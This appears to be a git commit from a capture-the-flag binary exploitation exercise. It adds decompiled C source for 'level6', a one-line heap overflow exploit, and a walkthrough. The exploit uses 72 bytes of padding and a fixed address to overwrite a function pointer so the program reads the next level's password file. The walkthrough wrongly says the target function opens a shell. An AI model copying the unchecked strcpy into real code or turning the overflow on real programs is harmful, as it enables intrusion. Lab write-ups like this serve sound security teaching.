level5 and level6 done
This commit is contained in:
1
level6/ressources/exploit
Normal file
1
level6/ressources/exploit
Normal file
@ -0,0 +1 @@
|
||||
./level6 $(python -c 'print "A"*72 + "\x54\x84\x04\x08"')
|
26
level6/source.c
Normal file
26
level6/source.c
Normal file
@ -0,0 +1,26 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
void n(void)
|
||||
{
|
||||
system("/bin/cat /home/user/level7/.pass");
|
||||
}
|
||||
|
||||
void m(void)
|
||||
{
|
||||
puts("Nope");
|
||||
}
|
||||
|
||||
int main(int ac, char **av)
|
||||
{
|
||||
char *buf;
|
||||
void (**fn_ptr)(void);
|
||||
|
||||
buf = (char *)malloc(64);
|
||||
fn_ptr = (void (**)(void))malloc(4);
|
||||
*fn_ptr = m;
|
||||
strcpy(buf, av[1]);
|
||||
(*fn_ptr)();
|
||||
return 0;
|
||||
}
|
9
level6/walkthrough
Normal file
9
level6/walkthrough
Normal file
@ -0,0 +1,9 @@
|
||||
# Level6
|
||||
|
||||
Using ghidra, we can decompile the code and see that it calls `malloc` twice.
|
||||
The first malloc has a size of 64 bytes and is a buffer where the program will `strcpy(buf, av[1])`. The second one is a function pointer pointing to `m()` function by default (prints "Nope."). We want to change its value to point to the correct function `n()` that will open a shell.
|
||||
To achieve this, we will overflow the first malloc and the second one's header so that we can write the adress through the input in `av[1]`.
|
||||
To calculate the offset between the 2 allocations, we used gdb's breakpoints and prints, leading us to an offset of 72 bytes (64 + 8).
|
||||
|
||||
Here is the command:
|
||||
./level6 $(python -c 'print "A"*72 + "\x54\x84\x04\x08"')
|
Reference in New Issue
Block a user